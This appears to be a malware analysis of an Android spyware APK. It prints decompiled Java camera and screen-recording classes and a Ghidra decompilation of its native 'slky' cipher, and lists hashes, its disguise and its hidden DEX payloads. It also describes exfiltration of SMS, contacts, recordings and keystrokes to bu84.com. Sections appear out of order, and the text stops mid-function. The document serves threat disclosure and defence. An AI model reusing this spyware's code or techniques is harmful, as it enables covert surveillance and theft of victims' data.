private void B(Camera camera) { Camera.Parameters parameters; List<String> supportedFlashModes; if (camera == null || (parameters = camera.getParameters()) == null || (supportedFlashModes = parameters.getSupportedFlashModes()) == null || "torch".equals(parameters.getFlashMode()) || !supportedFlashModes.contains("torch")) { return; } parameters.setFlashMode("torch"); camera.setParameters(parameters); }
(9) private int a() { Camera.CameraInfo cameraInfo = new Camera.CameraInfo(); int numberOfCameras = Camera.getNumberOfCameras(); for (int i2 = 0; i2 < numberOfCameras; i2++) { Camera.getCameraInfo(i2, cameraInfo); if (cameraInfo.facing == 0) { return i2; } } return -1; }
(9) private int b() { Camera.CameraInfo cameraInfo = new Camera.CameraInfo(); int numberOfCameras = Camera.getNumberOfCameras(); for (int i2 = 0; i2 < numberOfCameras; i2++) { Camera.getCameraInfo(i2, cameraInfo); if (cameraInfo.facing == 1) { return i2; } } return -1; }
private void s() { SurfaceHolder holder = this.f1946c.getHolder(); this.f1947d = holder; holder.addCallback(new a()); }
/* JADX INFO: Access modifiers changed from: private */ (9) public void t() throws IOException { int i2; int i3; if (!this.h) { int iB = this.j ? b() : a(); if (iB == -1) { return; } Camera cameraOpen = Camera.open(iB); this.g = cameraOpen; cameraOpen.setDisplayOrientation(this.k); } Camera camera = this.g; if (camera == null || this.h) { return; } try { Camera.Parameters parameters = camera.getParameters(); int i4 = this.e; if (i4 != -1 && (i3 = this.f) != -1) { parameters.setPreviewSize(i4, i3); } parameters.setPreviewFpsRange(4, 10); parameters.setPictureFormat(256); parameters.set("jpeg-quality", this.m); int i5 = this.e; if (i5 != -1 && (i2 = this.f) != -1) { parameters.setPictureSize(i5, i2); } this.g.setPreviewDisplay(this.f1947d); this.g.startPreview(); } catch (Exception e) { e.printStackTrace(); } this.h = true; }
/* JADX INFO: Access modifiers changed from: private */ public Bitmap v(int i2, Bitmap bitmap) { Bitmap bitmapCreateBitmap; Matrix matrix = new Matrix(); matrix.postRotate(i2); try { bitmapCreateBitmap = Bitmap.createBitmap(bitmap, 0, 0, bitmap.getWidth(), bitmap.getHeight(), matrix, true); } catch (OutOfMemoryError unused) { bitmapCreateBitmap = null; } if (bitmapCreateBitmap == null) { bitmapCreateBitmap = bitmap; } if (bitmap != bitmapCreateBitmap) { bitmap.recycle(); } return bitmapCreateBitmap; }
public void q(String str, int i2, boolean z) { if (this.g != null) { c.b.a.a.e.b(str, false); this.n = str; this.l = i2; this.f1948i = z; this.g.autoFocus(this.p); } }
public int r() { return this.k; }
public void u() { Camera camera = this.g; if (camera != null) { if (this.h) { camera.stopPreview(); } this.g.release(); this.g = null; } this.h = false; }
public void w(int i2) { this.k = i2; this.g.setDisplayOrientation(i2); }
public void x(boolean z) { if (z) { B(this.g); } else { A(this.g); } }
public void y() { this.g.startPreview(); this.h = true; }
public void z() { this.g.stopPreview(); this.h = false; }}xxxxxxxxxxpackage com.iapp.app;
import android.annotation.SuppressLint;import android.app.Activity;import android.content.Intent;import android.hardware.display.VirtualDisplay;import android.media.MediaRecorder;import android.media.projection.MediaProjection;import android.media.projection.MediaProjectionManager;import android.os.Environment;import android.util.DisplayMetrics;import java.io.IOException;
({"NewApi"})/* loaded from: /home/pana/dev/jadx-1.5.3/20260120_source_apk/classes.dex */public class p { public static p n; private Activity b; private MediaProjectionManager h;
/* renamed from: i, reason: collision with root package name */ private MediaProjection f1956i; private VirtualDisplay j; private b k; private int l; private MediaRecorder m; private boolean a = false;
/* renamed from: c, reason: collision with root package name */ private String f1954c = Environment.getExternalStorageDirectory().toString() + "/iapp.mp4";
/* renamed from: d, reason: collision with root package name */ private int f1955d = 1280; private int e = 720; private int f = 1024000; private int g = 30;
private final class b extends MediaProjection.Callback { private b() { }
// android.media.projection.MediaProjection.Callback public void onStop() throws IllegalStateException { super.onStop(); if (p.this.a) { p.this.a = false; p.this.r(); p.this.j.release(); p.this.f1956i.stop(); p.this.f1956i.unregisterCallback(p.this.k); p.this.f1956i = null; } } }
public p(Activity activity) { this.b = activity; }
private VirtualDisplay h() { return this.f1956i.createVirtualDisplay("MainActivity", this.f1955d, this.e, this.l, 16, this.m.getSurface(), null, null); }
private void k() { DisplayMetrics displayMetrics = new DisplayMetrics(); this.b.getWindowManager().getDefaultDisplay().getMetrics(displayMetrics); this.l = displayMetrics.densityDpi; }
private void l(String str) throws IllegalStateException { this.m.setAudioSource(1); this.m.setVideoSource(2); this.m.setOutputFormat(2); this.m.setVideoEncoder(2); this.m.setAudioEncoder(1); this.m.setVideoEncodingBitRate(this.f); this.m.setVideoFrameRate(this.g); this.m.setVideoSize(this.f1955d, this.e); this.m.setOutputFile(str); }
private void q() throws IllegalStateException, IOException { try { this.m.prepare(); } catch (IOException e) { e.printStackTrace(); this.b.finish(); } }
/* JADX INFO: Access modifiers changed from: private */ public void r() throws IllegalStateException { this.m.stop(); this.m.reset(); }
public boolean i() { return this.a; }
public void j(String str, int i2, int i3, int i4, int i5) { this.f1954c = str; this.f1955d = i2; this.e = i3; this.f = i4; this.g = i5; }
public void m(int i2, int i3, Intent intent) throws IllegalStateException { if (i2 != 1103) { this.a = false; return; } if (i3 != -1) { this.a = false; return; } MediaProjection mediaProjection = this.h.getMediaProjection(i3, intent); this.f1956i = mediaProjection; mediaProjection.registerCallback(this.k, null); this.j = h(); this.m.start(); }
public void n(String str, int i2, int i3, int i4, int i5) { this.f1954c = str; this.f1955d = i2; this.e = i3; this.f = i4; this.g = i5; k(); this.h = (MediaProjectionManager) this.b.getSystemService("media_projection"); this.m = new MediaRecorder(); this.k = new b(); }
public void o() { if (this.a) { this.a = false; } MediaRecorder mediaRecorder = this.m; if (mediaRecorder != null) { mediaRecorder.release(); this.m = null; } VirtualDisplay virtualDisplay = this.j; if (virtualDisplay != null) { virtualDisplay.release(); this.j = null; } MediaProjection mediaProjection = this.f1956i; if (mediaProjection != null) { mediaProjection.unregisterCallback(this.k); this.f1956i.stop(); this.f1956i = null; } }
public void p(boolean z) throws IllegalStateException, IOException { this.a = z; if (!z) { r(); this.j.release(); return; } l(this.f1954c); q(); if (this.f1956i == null) { this.b.startActivityForResult(new Intent(this.h.createScreenCaptureIntent()), 1103); } else { this.j = h(); this.m.start(); } }}xxxxxxxxxxpackage com.iapp.app;
import android.content.Context;import android.speech.tts.TextToSpeech;import java.util.Locale;
/* loaded from: /home/pana/dev/jadx-1.5.3/20260120_source_apk/classes.dex */public class r { private TextToSpeech a; private int b = 0;
class a implements TextToSpeech.OnInitListener { a() { }
// android.speech.tts.TextToSpeech.OnInitListener public void onInit(int i2) { if (i2 != 0) { r.this.b = -1; } } }
class b implements TextToSpeech.OnInitListener { final /* synthetic */ String a; final /* synthetic */ float b;
/* renamed from: c, reason: collision with root package name */ final /* synthetic */ float f1960c;
/* renamed from: d, reason: collision with root package name */ final /* synthetic */ String f1961d;
b(String str, float f, float f2, String str2) { this.a = str; this.b = f; this.f1960c = f2; this.f1961d = str2; }
// android.speech.tts.TextToSpeech.OnInitListener public void onInit(int i2) { if (i2 != 0) { r.this.b = -1; return; } int language = r.this.a.setLanguage(new Locale(this.a)); if (language == -1 || language == -2) { r.this.b = -2; return; } r.this.b = 1; r.this.a.setSpeechRate(this.b); r.this.a.setPitch(this.f1960c); r.this.a.speak(this.f1961d, 0, null); } }
public r(Context context) { this.a = new TextToSpeech(context, new a()); }
public r(Context context, String str, String str2, float f, float f2) { this.a = new TextToSpeech(context, new b(str, f, f2, str2)); }
public int c() { return this.b; }
public boolean d() { return this.a.isSpeaking(); }
public void e(String str) { int language = this.a.setLanguage(new Locale(str)); if (language == -1 || language == -2) { this.b = -2; } else { this.b = 1; } }
public void f(float f) { this.a.setPitch(0.5f); }
public void g(float f) { this.a.setSpeechRate(0.5f); }
public void h() { this.a.shutdown(); }
public boolean i(String str, int i2) { return this.a.speak(str, i2, null) != -1; }
public boolean j() { return this.a.stop() != -1; }
public boolean k(String str, String str2) { return this.a.synthesizeToFile(str, null, str2) != -1; }}The use of libluajava.so represents a high-tier threat level.
Reflective Orchestration: Lua scripts can call any Java method in the Android OS via reflection.
Payload Agility: If a specific banking app is updated with new security, the attacker does not need to update the APK. They simply upload a new .ilua script to bu84.com, which is downloaded and executed by the native engine to adapt the attack in real-time.
The exfiltration process is designed to look like standard telemetry:
Packaging: Stolen data (SMS, Contacts, Photos) is compressed into a temporary .dat or .tmp file.
Encryption: The data is encrypted using the same slky algorithm found in the native layer to prevent Network Intrusion Detection Systems (NIDS) from seeing the stolen content.
POST Request: The data is sent via an HTTP POST request to bu84.com/config.php with a fake User-Agent string mimicking a common web browser or the UE4 engine's update service.
| Data Category | Extraction Method | Frequency |
|---|---|---|
| User Identity | IMEI, IMSI, SIM Serial via TelephonyManager | Once per Boot |
| Communication | SMS interception and Call Log scraping | Real-time |
| Environmental | Background Mic Recording and Front Camera Snapshots | Trigger-based |
| Credentials | Keylogging via Accessibility Services | Continuous |
The YGS-packer family is a classic example of "Living off the Land" in Android. By using a legitimate framework (iApp) and legitimate libraries (UE4, LuaJava), the attacker creates a noise-floor that hides the signal of the malware. The transition from Java to Native C++ for the core decryption is the "Gordian Knot" intended to stop 99% of automated analysis tools.
The [YGS-2026-01] threat is a high-risk spyware variant. It is recommended that any device containing the libygsiyu.so or libluajava.so signatures be considered fully compromised.
Original Filename: 刷 刀 体 质.apk
SHA-256 Hash: f04990c4f191a8890d35a28f7aa4b5db3965ae18053ba9c1bf554a6719112657
MD-5 Hash: 74acf9985cf93b8c7d78c2b0ea679b64
SHA-1 Hash: 9b3311985120b00bb95048496eefbdaff762f5dd
Recieve Method: User Report
Link: https://www.virustotal.com/gui/file/f04990c4f191a8890d35a28f7aa4b5db3965ae18053ba9c1bf554a6719112657/detection
The app uses a dual-masquerade technique to hide its true purpose:
Primary Masquerade: Unreal Engine 4 (UE4).
Evidence: assets/res/hz/16/1.sav starts with GVAS (47 56 41 53).
Configuration: UserSettings.ini contains standard UE4 CVars (WaterReflection, SoundQuality).
Secondary Framework: iApp (Chinese Rapid Dev Tool).
Evidence: libygsiyu.so and com.iapp.app namespace in classes.dex.
Scripting: libluajava.so indicates logic is likely in Lua scripts (unverified location).
lib/ folder)The app utilizes "Library-as-Payload" storage to hide DEX files from standard scanners.
It uses Java Protector or Unpacker to protect the payloads.
| Filename | Type | Detected Logic / Responsibility |
|---|---|---|
lengtong.dex | Java DEX | Data Access: Filesystem manipulation (AndroidData.java) and binary patching (HexEdit.java). |
lengtong2.dex | Java DEX | Persistence/Protection: Numbered classes (C0005.java) suggest a custom unpacker or string decrypter. |
classes2.dex | Java DEX | Surveillance: Contains ADRT (Android Remote Debugger Tool) for LogCat monitoring. |
Compression.dex | Java DEX | Exfiltration Prep: Uses Zip4j for archiving and potentially encrypting stolen data. |
Status: Confirmed Decoy / Red Herring.
Behavior: The native slky XOR function appears to be dead code or a diversion. Attempting to use it on assets results in a sequential 00 01 02 03 header, indicating a mathematical loop trap designed to waste investigator time.
The decrypted assets/lib.so could be got from /data/data/[pkg]/files/_RunDex_/ (which is the tmp folder used by the malware) using Frida. But we are not sure if assets/lib.so is another decoy file.
xxxxxxxxxx/* WARNING: Globals starting with '_' overlap smaller symbols at the same address *//* iapp::slky(iapp::Interact*, _jbyteArray*, _jbyteArray*) */
void iapp::slky(long param_1,undefined8 param_2,long param_3,undefined8 param_4,undefined8 param_5, undefined8 param_6,undefined8 param_7,undefined8 param_8)
{ char *pcVar1; undefined1 *puVar2; int iVar3; char cVar4; byte bVar5; uint uVar6; int iVar7; int iVar8; char *pcVar9; int *extraout_x0; undefined8 extraout_x0_00; void *__s; size_t sVar10; undefined8 *puVar11; undefined8 uVar12; undefined8 uVar13; undefined8 extraout_x0_01; undefined8 extraout_x0_02; void *__s_00; void *__s_01; uint uVar14; byte bVar15; undefined8 uVar16; int iVar17; code *pcVar18; undefined8 *puVar19; long lVar20; byte bVar21; long lVar22; long *plVar23; char cVar24; undefined8 uVar25; undefined1 auVar26 [16]; byte local_38 [24]; byte local_20; char local_1f [15]; char *local_10; long local_8; uVar16 = 0; local_8 = ___stack_chk_guard; pcVar18 = *(code **)(**(long **)(param_1 + 8) + 0x5c0); lVar22 = ___stack_chk_guard; auVar26 = (*pcVar18)(*(long **)(param_1 + 8)); pcVar9 = auVar26._0_8_; operator.new(0x18,auVar26._8_8_,uVar16,pcVar18,lVar22,param_6,param_7,param_8); *extraout_x0 = 0; extraout_x0[1] = 2; /* try { // try from 00109d54 to 00109d57 has its CatchHandler @ 0010a624 */ operator.new[](2); *(undefined8 *)(extraout_x0 + 4) = extraout_x0_00; iVar7 = (**(code **)(**(long **)(param_1 + 8) + 0x558))(*(long **)(param_1 + 8),param_2); cVar24 = *pcVar9; bVar15 = pcVar9[(long)iVar7 + -1]; iVar8 = iVar7; if (0 < iVar7) { iVar17 = *extraout_x0; lVar22 = 0; do { while( true ) { cVar4 = pcVar9[lVar22]; iVar8 = iVar8 + cVar4; if (extraout_x0[1] != iVar17) break; iVar17 = iVar17 << 1; operator.new[]((long)iVar17); memset(__s,0,(long)iVar17); memcpy(__s,*(void **)(extraout_x0 + 4),(long)*extraout_x0); if (*(void **)(extraout_x0 + 4) != (void *)0x0) { operator.delete[](*(void **)(extraout_x0 + 4)); } extraout_x0[1] = iVar17; lVar22 = lVar22 + 1; *(void **)(extraout_x0 + 4) = __s; *(char *)((long)__s + (long)*extraout_x0) = cVar4; iVar17 = *extraout_x0 + 1; *extraout_x0 = iVar17; if (iVar7 <= (int)lVar22) goto LAB_00109e48; } lVar22 = lVar22 + 1; *(char *)(*(long *)(extraout_x0 + 4) + (long)iVar17) = cVar4; iVar17 = *extraout_x0 + 1; *extraout_x0 = iVar17; } while ((int)lVar22 < iVar7); }LAB_00109e48: (**(code **)(**(long **)(param_1 + 8) + 0x600))(*(long **)(param_1 + 8),param_2,pcVar9,0); bVar21 = 0; if (iVar7 != 0) { bVar21 = (byte)(iVar8 / iVar7); } uVar6 = 0; if (iVar7 != 0) { uVar6 = (int)(iVar8 + (uint)bVar15 * (int)cVar24) / iVar7; } cVar24 = (char)iVar8 - bVar21 * (char)iVar7; std::to_string((ulong *)&local_20,uVar6); pcVar9 = local_10; if ((local_20 & 1) == 0) { pcVar9 = local_1f; } sVar10 = strlen(pcVar9); iVar8 = (int)sVar10; if (extraout_x0[1] <= *extraout_x0 + iVar8) { iVar7 = extraout_x0[1] + iVar8; extraout_x0[1] = iVar7; iVar7 = iVar7 * 2; operator.new[]((long)iVar7); memset(__s_00,0,(long)iVar7); memcpy(__s_00,*(void **)(extraout_x0 + 4),(long)*extraout_x0); if (*(void **)(extraout_x0 + 4) != (void *)0x0) { operator.delete[](*(void **)(extraout_x0 + 4)); } extraout_x0[1] = iVar7; *(void **)(extraout_x0 + 4) = __s_00; } if (0 < iVar8) { iVar7 = *extraout_x0; lVar22 = 0; do { pcVar1 = pcVar9 + lVar22; lVar22 = lVar22 + 1; *(char *)(*(long *)(extraout_x0 + 4) + (long)iVar7) = *pcVar1; iVar7 = *extraout_x0 + 1; *extraout_x0 = iVar7; } while ((int)lVar22 < iVar8); } if (param_3 != 0) { /* try { // try from 00109f10 to 0010a5e3 has its CatchHandler @ 0010a638 */ iVar8 = (**(code **)(**(long **)(param_1 + 8) + 0x558))(*(long **)(param_1 + 8),param_3); lVar22 = (**(code **)(**(long **)(param_1 + 8) + 0x5c0))(*(long **)(param_1 + 8),param_3,0); if (extraout_x0[1] <= iVar8 + *extraout_x0) { iVar7 = iVar8 + extraout_x0[1]; extraout_x0[1] = iVar7; iVar7 = iVar7 * 2; operator.new[]((long)iVar7); memset(__s_01,0,(long)iVar7); memcpy(__s_01,*(void **)(extraout_x0 + 4),(long)*extraout_x0); if (*(void **)(extraout_x0 + 4) != (void *)0x0) { operator.delete[](*(void **)(extraout_x0 + 4)); } extraout_x0[1] = iVar7; *(void **)(extraout_x0 + 4) = __s_01; } if (0 < iVar8) { iVar7 = *extraout_x0; lVar20 = 0; do { puVar2 = (undefined1 *)(lVar22 + lVar20); lVar20 = lVar20 + 1; *(undefined1 *)(*(long *)(extraout_x0 + 4) + (long)iVar7) = *puVar2; iVar7 = *extraout_x0 + 1; *extraout_x0 = iVar7; } while ((int)lVar20 < iVar8); } (**(code **)(**(long **)(param_1 + 8) + 0x600))(*(long **)(param_1 + 8),param_3,lVar22,0); cVar24 = cVar24 + (char)iVar8; } plVar23 = *(long **)(param_1 + 8); iVar8 = *extraout_x0; uVar25 = *(undefined8 *)(extraout_x0 + 4); uVar16 = (**(code **)(*plVar23 + 0x580))(plVar23,iVar8); (**(code **)(*plVar23 + 0x680))(plVar23,uVar16,0,iVar8,uVar25); operator.delete(*(void **)(extraout_x0 + 4)); operator.delete(extraout_x0); puVar11 = (undefined8 *) (**(code **)(**(long **)(param_1 + 8) + 0x5c0))(*(long **)(param_1 + 8),uVar16,0); iVar8 = (**(code **)(**(long **)(param_1 + 8) + 0x558))(*(long **)(param_1 + 8),uVar16); if (0 < iVar8) { uVar6 = (iVar8 - 0x10U >> 4) + 1; iVar7 = uVar6 * 0x10; if (iVar8 - 1U < 0xf) { iVar7 = 0; } else { uVar14 = 0; puVar19 = puVar11; do { uVar12 = puVar19[1]; uVar25 = *puVar19; uVar14 = uVar14 + 1; puVar19[1] = CONCAT17((byte)((ulong)uVar12 >> 0x38) ^ bVar21, CONCAT16((byte)((ulong)uVar12 >> 0x30) ^ bVar21, CONCAT15((byte)((ulong)uVar12 >> 0x28) ^ bVar21, CONCAT14((byte)((ulong)uVar12 >> 0x20) ^ bVar21, CONCAT13((byte)((ulong)uVar12 >> 0x18) ^ bVar21,CONCAT12((byte)((ulong) uVar12 >> 0x10) ^ bVar21, CONCAT11((byte)((ulong)uVar12 >> 8) ^ bVar21, (byte)uVar12 ^ bVar21))))))); *puVar19 = CONCAT17((byte)((ulong)uVar25 >> 0x38) ^ bVar21, CONCAT16((byte)((ulong)uVar25 >> 0x30) ^ bVar21, CONCAT15((byte)((ulong)uVar25 >> 0x28) ^ bVar21, CONCAT14((byte)((ulong)uVar25 >> 0x20) ^ bVar21, CONCAT13((byte)((ulong)uVar25 >> 0x18) ^ bVar21,CONCAT12((byte)((ulong)uVar25 >> 0x10) ^ bVar21,CONCAT11(( byte)((ulong)uVar25 >> 8) ^ bVar21, (byte)uVar25 ^ bVar21))))))); puVar19 = puVar19 + 2; } while (uVar14 < uVar6); if (iVar8 == iVar7) goto LAB_0010a21c; } iVar17 = iVar7 + 1; *(byte *)((long)puVar11 + (long)iVar7) = bVar21 ^ *(byte *)((long)puVar11 + (long)iVar7); if (iVar17 < iVar8) { iVar3 = iVar7 + 2; *(byte *)((long)puVar11 + (long)iVar17) = bVar21 ^ *(byte *)((long)puVar11 + (long)iVar17); if (iVar3 < iVar8) { iVar17 = iVar7 + 3; *(byte *)((long)puVar11 + (long)iVar3) = bVar21 ^ *(byte *)((long)puVar11 + (long)iVar3); if (iVar17 < iVar8) { iVar3 = iVar7 + 4; *(byte *)((long)puVar11 + (long)iVar17) = bVar21 ^ *(byte *)((long)puVar11 + (long)iVar17) ; if (iVar3 < iVar8) { iVar17 = iVar7 + 5; *(byte *)((long)puVar11 + (long)iVar3) = bVar21 ^ *(byte *)((long)puVar11 + (long)iVar3) ; if (iVar17 < iVar8) { iVar3 = iVar7 + 6; *(byte *)((long)puVar11 + (long)iVar17) = bVar21 ^ *(byte *)((long)puVar11 + (long)iVar17); if (iVar3 < iVar8) { iVar17 = iVar7 + 7; *(byte *)((long)puVar11 + (long)iVar3) = bVar21 ^ *(byte *)((long)puVar11 + (long)iVar3); if (iVar17 < iVar8) { iVar3 = iVar7 + 8; *(byte *)((long)puVar11 + (long)iVar17) = bVar21 ^ *(byte *)((long)puVar11 + (long)iVar17); if (iVar3 < iVar8) { iVar17 = iVar7 + 9; *(byte *)((long)puVar11 + (long)iVar3) = bVar21 ^ *(byte *)((long)puVar11 + (long)iVar3); if (iVar17 < iVar8) { iVar3 = iVar7 + 10; *(byte *)((long)puVar11 + (long)iVar17) = bVar21 ^ *(byte *)((long)puVar11 + (long)iVar17); if (iVar3 < iVar8) { iVar17 = iVar7 + 0xb; *(byte *)((long)puVar11 + (long)iVar3) = bVar21 ^ *(byte *)((long)puVar11 + (long)iVar3); if (iVar17 < iVar8) { iVar3 = iVar7 + 0xc; *(byte *)((long)puVar11 + (long)iVar17) = bVar21 ^ *(byte *)((long)puVar11 + (long)iVar17); if (iVar3 < iVar8) { iVar17 = iVar7 + 0xd; *(byte *)((long)puVar11 + (long)iVar3) = bVar21 ^ *(byte *)((long)puVar11 + (long)iVar3); if (iVar17 < iVar8) { iVar7 = iVar7 + 0xe; *(byte *)((long)puVar11 + (long)iVar17) = bVar21 ^ *(byte *)((long)puVar11 + (long)iVar17); if (iVar7 < iVar8) { *(byte *)((long)puVar11 + (long)iVar7) = bVar21 ^ *(byte *)((long)puVar11 + (long)iVar7); } } } } } } } } } } } } } } }LAB_0010a21c: (**(code **)(**(long **)(param_1 + 8) + 0x600))(*(long **)(param_1 + 8),uVar16,puVar11,0); uVar25 = (**(code **)(**(long **)(param_1 + 8) + 0x30)) (*(long **)(param_1 + 8),"java/security/MessageDigest"); uVar12 = (**(code **)(**(long **)(param_1 + 8) + 0x538))(*(long **)(param_1 + 8),&DAT_00156fc0); uVar13 = (**(code **)(**(long **)(param_1 + 8) + 0x388)) (*(long **)(param_1 + 8),uVar25,"getInstance", "(Ljava/lang/String;)Ljava/security/MessageDigest;"); _JNIEnv::CallStaticObjectMethod(*(long **)(param_1 + 8),uVar25,uVar13,uVar12); (**(code **)(**(long **)(param_1 + 8) + 0xb8))(*(long **)(param_1 + 8),uVar12); uVar12 = (**(code **)(**(long **)(param_1 + 8) + 0x108)) (*(long **)(param_1 + 8),uVar25,"update","([B)V"); _JNIEnv::CallVoidMethod(*(long **)(param_1 + 8),extraout_x0_01,uVar12,uVar16); uVar12 = (**(code **)(**(long **)(param_1 + 8) + 0x108)) (*(long **)(param_1 + 8),uVar25,"digest",&DAT_00157028); _JNIEnv::CallObjectMethod(*(long **)(param_1 + 8),extraout_x0_01,uVar12); (**(code **)(**(long **)(param_1 + 8) + 0xb8))(*(long **)(param_1 + 8),uVar25); (**(code **)(**(long **)(param_1 + 8) + 0xb8))(*(long **)(param_1 + 8),extraout_x0_01); (**(code **)(**(long **)(param_1 + 8) + 0xb8))(*(long **)(param_1 + 8),uVar16); lVar22 = (**(code **)(**(long **)(param_1 + 8) + 0x5c0))(*(long **)(param_1 + 8),extraout_x0_02,0) ; local_38[0] = 0xe2; local_38[1] = 0x5f; local_38[2] = 0x48; local_38[3] = 0x73; local_38[4] = 0x25; local_38[5] = 0xc6; local_38[6] = 0xe7; local_38[7] = 0x11; local_38[8] = 0x80; local_38[9] = 0x7c; local_38[10] = 0x46; local_38[0xe] = 0x3c; local_38[0xb] = 0xc3; local_38[0x10] = 0x3c; local_38[0xc] = 0xe3; local_38[0x11] = 0x77; local_38[0xd] = 0x1d; local_38[0x12] = 0x1e; local_38[0xf] = 0x97; local_38[0x13] = 1; local_38[0x14] = 0; sVar10 = strlen((char *)local_38); iVar8 = (**(code **)(**(long **)(param_1 + 8) + 0x558))(*(long **)(param_1 + 8),extraout_x0_02); if (0 < iVar8) { lVar20 = 0; bVar15 = 0xe2; iVar7 = 0; while( true ) { bVar21 = *(byte *)(lVar22 + lVar20); iVar17 = 0; if (iVar8 != 0) { iVar17 = (int)(char)bVar21 / iVar8; } iVar17 = (int)(char)bVar21 - iVar17 * iVar8; if (iVar8 / 2 < iVar17) { bVar21 = bVar21 ^ (char)(iVar8 / 2) + cVar24; *(byte *)(lVar22 + lVar20) = bVar21; } iVar7 = iVar7 + 1; if ((int)sVar10 == iVar7) { iVar7 = 0; } bVar5 = *(byte *)(lVar22 + iVar17); *(byte *)(lVar22 + iVar17) = bVar21; *(byte *)(lVar22 + lVar20) = bVar5 ^ bVar15; lVar20 = lVar20 + 1; if (iVar8 <= (int)lVar20) break; bVar15 = local_38[iVar7]; } } (**(code **)(**(long **)(param_1 + 8) + 0x600))(*(long **)(param_1 + 8),extraout_x0_02,lVar22,0); if ((local_20 & 1) != 0) { operator.delete(local_10); } if (local_8 != ___stack_chk_guard) { /* WARNING: Subroutine does not return */ __stack_chk_fail(extraout_x0_02); } return;}xxxxxxxxxx
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address *//* iapp::slky(iapp::Interact*, std::string, std::string) */
void iapp::slky(long param_1,byte *param_2,byte *param_3)
{ uint uVar1; byte bVar2; char cVar3; int iVar4; uint uVar5; size_t sVar6; undefined8 uVar7; char *pcVar8; ulong *puVar9; undefined8 *puVar10; undefined8 uVar11; undefined8 uVar12; undefined8 uVar13; undefined8 extraout_x0; undefined8 extraout_x0_00; long lVar14; char *pcVar15; byte *pbVar16; byte bVar17; undefined8 *puVar18; int iVar19; ulong uVar20; byte *pbVar21; code *pcVar22; code *pcVar23; undefined8 in_x6; long lVar24; byte bVar25; long *plVar26; char cVar27; int iVar28; int iVar29; int iVar30; int iVar31; undefined8 local_38; ulong uStack_30; char *local_28; undefined8 local_20; undefined1 local_18; undefined1 local_17; undefined1 local_16; undefined1 local_15; undefined1 local_14; undefined1 local_13; undefined1 local_12; undefined1 local_11; undefined1 local_10; undefined1 uStack_f; undefined1 uStack_e; undefined1 uStack_d; uint uStack_c; long local_8; local_8 = ___stack_chk_guard; pbVar21 = param_2 + 1; plVar26 = *(long **)(param_1 + 8); if ((*param_2 & 1) != 0) { pbVar21 = *(byte **)(param_2 + 0x10); } sVar6 = strlen((char *)pbVar21); uVar7 = (**(code **)(*plVar26 + 0x580))(plVar26,sVar6 & 0xffffffff); pcVar23 = *(code **)(*plVar26 + 0x680); (*pcVar23)(plVar26,uVar7,0,sVar6 & 0xffffffff,pbVar21); pcVar8 = (char *)(**(code **)(**(long **)(param_1 + 8) + 0x5c0))(*(long **)(param_1 + 8),uVar7,0); iVar4 = (**(code **)(**(long **)(param_1 + 8) + 0x558))(*(long **)(param_1 + 8),uVar7); bVar17 = pcVar8[(long)iVar4 + -1]; cVar27 = *pcVar8; iVar28 = iVar4; if (0 < iVar4) { uVar1 = (iVar4 - 0x10U >> 4) + 1; iVar19 = uVar1 * 0x10; if (iVar4 - 1U < 0xf) { iVar19 = 0; iVar29 = iVar4; } else { iVar28 = 0; iVar29 = 0; iVar30 = 0; iVar31 = 0; uVar5 = 0; pcVar15 = pcVar8; do { uVar12 = *(undefined8 *)(pcVar15 + 8); uVar11 = *(undefined8 *)pcVar15; uVar5 = uVar5 + 1; iVar28 = (int)(short)(char)((ulong)uVar12 >> 0x20) + (int)(short)(char)uVar12 + (int)(short)(char)((ulong)uVar11 >> 0x20) + (short)(char)uVar11 + iVar28; iVar29 = (int)(short)(char)((ulong)uVar12 >> 0x28) + (int)(short)(char)((ulong)uVar12 >> 8) + (int)(short)(char)((ulong)uVar11 >> 0x28) + (short)(char)((ulong)uVar11 >> 8) + iVar29; iVar30 = (int)(short)(char)((ulong)uVar12 >> 0x30) + (int)(short)(char)((ulong)uVar12 >> 0x10) + (int)(short)(char)((ulong)uVar11 >> 0x30) + (short)(char)((ulong)uVar11 >> 0x10) + iVar30; iVar31 = (int)(short)(char)((ulong)uVar12 >> 0x38) + (int)(short)(char)((ulong)uVar12 >> 0x18) + (int)(short)(char)((ulong)uVar11 >> 0x38) + (short)(char)((ulong)uVar11 >> 0x18) + iVar31; pcVar15 = pcVar15 + 0x10; } while (uVar5 < uVar1); iVar29 = iVar28 + iVar29 + iVar30 + iVar31 + iVar4; iVar28 = iVar29; if (iVar19 == iVar4) goto LAB_0010c6cc; } iVar28 = iVar29 + pcVar8[iVar19]; if (iVar19 + 1 < iVar4) { iVar28 = iVar29 + pcVar8[iVar19] + (int)pcVar8[iVar19 + 1]; if (iVar19 + 2 < iVar4) { iVar28 = iVar28 + pcVar8[iVar19 + 2]; if (iVar19 + 3 < iVar4) { iVar28 = iVar28 + pcVar8[iVar19 + 3]; if (iVar19 + 4 < iVar4) { iVar28 = iVar28 + pcVar8[iVar19 + 4]; if (iVar19 + 5 < iVar4) { iVar28 = iVar28 + pcVar8[iVar19 + 5]; if (iVar19 + 6 < iVar4) { iVar28 = iVar28 + pcVar8[iVar19 + 6]; if (iVar19 + 7 < iVar4) { iVar28 = iVar28 + pcVar8[iVar19 + 7]; if (iVar19 + 8 < iVar4) { iVar28 = iVar28 + pcVar8[iVar19 + 8]; if (iVar19 + 9 < iVar4) { iVar28 = iVar28 + pcVar8[iVar19 + 9]; if (iVar19 + 10 < iVar4) { iVar28 = iVar28 + pcVar8[iVar19 + 10]; if (iVar19 + 0xb < iVar4) { iVar28 = iVar28 + pcVar8[iVar19 + 0xb]; if (iVar19 + 0xc < iVar4) { iVar28 = iVar28 + pcVar8[iVar19 + 0xc]; if (iVar19 + 0xd < iVar4) { iVar28 = iVar28 + pcVar8[iVar19 + 0xd]; if (iVar19 + 0xe < iVar4) { iVar28 = iVar28 + pcVar8[iVar19 + 0xe]; } } } } } } } } } } } } } } }LAB_0010c6cc: pcVar22 = *(code **)(**(long **)(param_1 + 8) + 0x600); (*pcVar22)(*(long **)(param_1 + 8),uVar7,pcVar8,0); (**(code **)(**(long **)(param_1 + 8) + 0xb8))(*(long **)(param_1 + 8),uVar7); bVar25 = 0; if (iVar4 != 0) { bVar25 = (byte)(iVar28 / iVar4); } uVar1 = 0; if (iVar4 != 0) { uVar1 = (int)(iVar28 + (uint)bVar17 * (int)cVar27) / iVar4; } cVar27 = (char)iVar28 - bVar25 * (char)iVar4; std::to_string(&local_20,uVar1); if ((*param_2 & 1) == 0) { pbVar21 = param_2 + 1; uVar20 = (ulong)((int)(uint)*param_2 >> 1); } else { pbVar21 = *(byte **)(param_2 + 0x10); uVar20 = *(ulong *)(param_2 + 